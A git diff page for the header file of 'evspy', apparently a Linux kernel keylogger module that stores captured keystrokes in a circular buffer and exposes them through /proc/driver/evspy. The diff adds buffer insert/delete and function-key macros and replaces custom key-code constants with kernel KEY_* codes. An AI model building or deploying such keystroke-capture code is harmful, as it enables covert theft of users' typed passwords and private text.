diff options
Diffstat (limited to 'evspy/evspy.h')
| -rw-r--r-- | evspy/evspy.h | 65 |
1 files changed, 32 insertions, 33 deletions
diff --git a/evspy/evspy.h b/evspy/evspy.h index 1575b71..cc5806f 100644 --- a/evspy/evspy.h +++ b/evspy/evspy.h @@ -1,11 +1,12 @@ +#include <linux/input.h> +// TODO include PAGE_SIZE etc #include "maps.h" -#define EVS_MAP map_es // change this to your keyboard layout -#define EVS_TROLL 1 // clear this if you're a serious guy +#define EVS_MAP map_es // change this to your keyboard layout +#define EVS_TROLL 1 // clear this if you're a serious guy #define EVS_PROCNAME "driver/evspy" // virtual file within /proc -#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer +#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer -//#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt #define MIN(x, y) (x) < (y) ? (x) : (y) /* @@ -22,10 +23,22 @@ }) /* - * Insert a character where wrp is pointing and move it to the next char. + * Same as evs_incp but backwards + */ +#define evs_decp(p) \ +({ \ + if (p == buffer) \ + p = &buffer[EVS_BUFSIZE-1]; \ + else \ + p--; \ + p; \ +}) + +/* + * Insert character c where wrp is pointing and move it to the next char. * If rdp == wrp, increase rdp too. */ -#define evs_insrt(c) \ +#define evs_insert(c) \ ({ \ *wrp = c; \ if (evs_incp(wrp) == rdp) \ @@ -33,39 +46,25 @@ }) /* - * Is the c event code associated to any of the FX buttons? - * NOTE: F1-F10 events are consecutive numbers, but F11 & F12 are not. (?) + * Remove a character from the buffer */ -#define isfX(c) \ +#define evs_delete() \ ({ \ - (c >= EVS_COD_F1 && c <= EVS_COD_F10) || \ - (c == EVS_COD_F11 || c == EVS_COD_F12); \ + if (wrp != rdp && evs_decp(wrp) == rdp) \ + evs_incp(rdp); \ }) -// Bloq mayus has its own type -#define EVS_TYPE_BLKMAYUS 17 +/* + * Is the c event code associated to any of the FX buttons? + */ +#define evs_isfX(c) \ +({ \ + (c >= KEY_F1 && c <= KEY_F10) || \ + (c == KEY_F11 || c == KEY_F12) || \ + (c >= KEY_F13 && c <= KEY_F24); \ +}) // Event values #define EVS_VAL_FREE 0 #define EVS_VAL_PRESS 1 #define EVS_VAL_HOLD 2 - -// Event codes -#define EVS_COD_ESC 1 -#define EVS_COD_TAB 15 -#define EVS_COD_LCTRL 29 -#define EVS_COD_LMAYUS 42 -#define EVS_COD_DOT 52 -#define EVS_COD_RMAYUS 54 -#define EVS_COD_ALT 56 -#define EVS_COD_BLKMAYUS 58 -#define EVS_COD_F1 59 -#define EVS_COD_F10 68 -#define EVS_COD_F11 87 -#define EVS_COD_F12 88 -#define EVS_COD_RCTRL 97 -#define EVS_COD_ALTGR 100 -#define EVS_COD_UP_AR 103 -#define EVS_COD_DOWN_AR 108 -#define EVS_COD_LEFT_AR 105 -#define EVS_COD_RIGHT_AR 106 |